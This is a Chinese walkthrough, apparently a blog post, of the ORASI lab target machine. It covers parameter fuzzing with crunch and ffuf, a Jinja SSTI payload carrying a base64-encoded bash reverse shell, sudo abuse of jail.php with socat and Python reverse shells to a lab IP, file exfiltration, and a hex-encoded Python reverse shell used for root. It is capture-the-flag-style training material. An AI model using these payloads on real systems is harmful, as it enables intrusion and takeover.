靶机-ORASI:

background

学到了很多东西 这个靶机是我目前这段时间做过的最有意思的一个了

打点

开了个80和5000 80这不知道是什么东西 5000啥也没有

22端口可以匿名访问 尝试了下没有生成文件的权限,ftp里对应的文件也不是web目录的

文件执行就是这个样子 没有可用信息

逆一下 这堆insert不知道是干什么的

可以看到对应的字符 得/sh*4d0w$s

两个端口拼接了路径访问都没东西 在伪代码里直接转成char 得/sh4d0w$s

访问5000端口有反应 提示我们需要参数 测了下不支持post参数 上了我有的所有字典 都找不到参数

到这里就无解了 后面都是看了wp的 因为提权也确实提不动(没用系统漏洞 21年的靶机拿22年的cve提 没啥意义 重点是学习)

实际上80端口的提示就是参数的提示 组成和长度啥的都是leet语里面的 使用crunch可生成字典文件

crunch 6 6 1337leet > cs.txt

然后使用ffuz去fuzz 第一次用ffuz 真的好用啊 下次实战就用他了 这里参数错误的提示Size是8 所以我们过滤掉长度为8的响应

ffuf -w cs.txt -u 'http://192.168.116.54:5000/sh4d0w$s?FUZZ=1' -fs 8

得到l333tt

 输入什么就返回什么 经典的ssti

getshell即可

http://192.168.116.54:5000/sh4d0w$s?l333tt={%for(x)in().__class__.__base__.__subclasses__()%}{%if%27war%27in(x).__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%27echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMTYuMjM1LzEyMzQgMD4mMQ==|base64%20-d|bash%20-i%27).read()}}{%endif%}{%endfor%}

横向-1

能够直接用kori的权限执行 /bin/php /home/kori/jail.php *

生成交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'  

我自己做的时候也看到这个sudo的东西了 也看了下这个php文件 我以为是跑这个程序 然后rce拿kori的权限

但是要密码 没思路了

看别人的文章好神奇 直接可以在后面执行命令 后来咨询了下绿盟的高工 他一眼就看出来了

所以这里随随便便就能拿kori权限了 反弹shell

sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.5.150:8899 EXEC:sh

或者进python反弹shell

sudo -u kori /bin/php /home/kori/jail.php python

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.116.235",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

横向-2

可以cp这个apk

给权限 移文件

chmod 777 -R /home/kori
sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

东西过去了之后得想办法拿出来 这里当然可以本地起python 但是实战中起了也没啥用 端口大概率不映射

尝试用curl或wget外带(这里wget带不出来 机子没有curl 懒得折腾了 还是用python开端口下了)

curl -X POST -F xx=@2.txt 127.0.0.1:8080
wget --post-file url.txt 127.0.0.1:4444

起一个python接收就行了 这里文件上传的参数是file

from flask import Flask, request, jsonify
import os

app = Flask(__name__)

# 设置上传文件的保存目录
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

# 确保上传目录存在
if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

@app.route('/upload', methods=['POST'])
def upload_file():
    # 检查请求中是否包含文件
    if 'file' not in request.files:
        return jsonify({'error': 'No file part in the request'}), 400
    
    file = request.files['file']
    
    # 检查文件是否为空
    if file.filename == '':
        return jsonify({'error': 'No file selected for uploading'}), 400
    
    if file:
        # 保存文件到指定目录
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        file.save(file_path)
        return jsonify({'message': f'File {file.filename} uploaded successfully'}), 200

if __name__ == '__main__':
    app.run(debug=True)

这里要注意原来的权限问题

直接sudo执行拿过来的文件 还是原来的文件属性

那就创建一个授权 然后再拷过来就行了

touch irida.apk

sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

是一个apk 安装是一个登录页面

那就逆一下 账号是irida 密码放到lexiko 拼接了点

eye.of.the.tiger.()

账号密码没问题 登进去了

ssh的密码需要去掉一个点 6的 最终密码是eye.of.the.tiger()

提权

能直接sudo一个脚本

但是里面的问题看不到 只能盲打 运行了进入一个输入页面 随便输出就报错了 显示了部分代码 这里是对name进行了hex解码

对字符串编码传入 思路没问题 同时还看到的name是exec包裹了的

尝试执行输出 没问题

print("ss34")
7072696e742822737333342229

弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.116.235",12));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223139322e3136382e3131362e323335222c313229293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b6f732e6475703228732e66696c656e6f28292c32293b696d706f7274207074793b207074792e737061776e282273682229

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值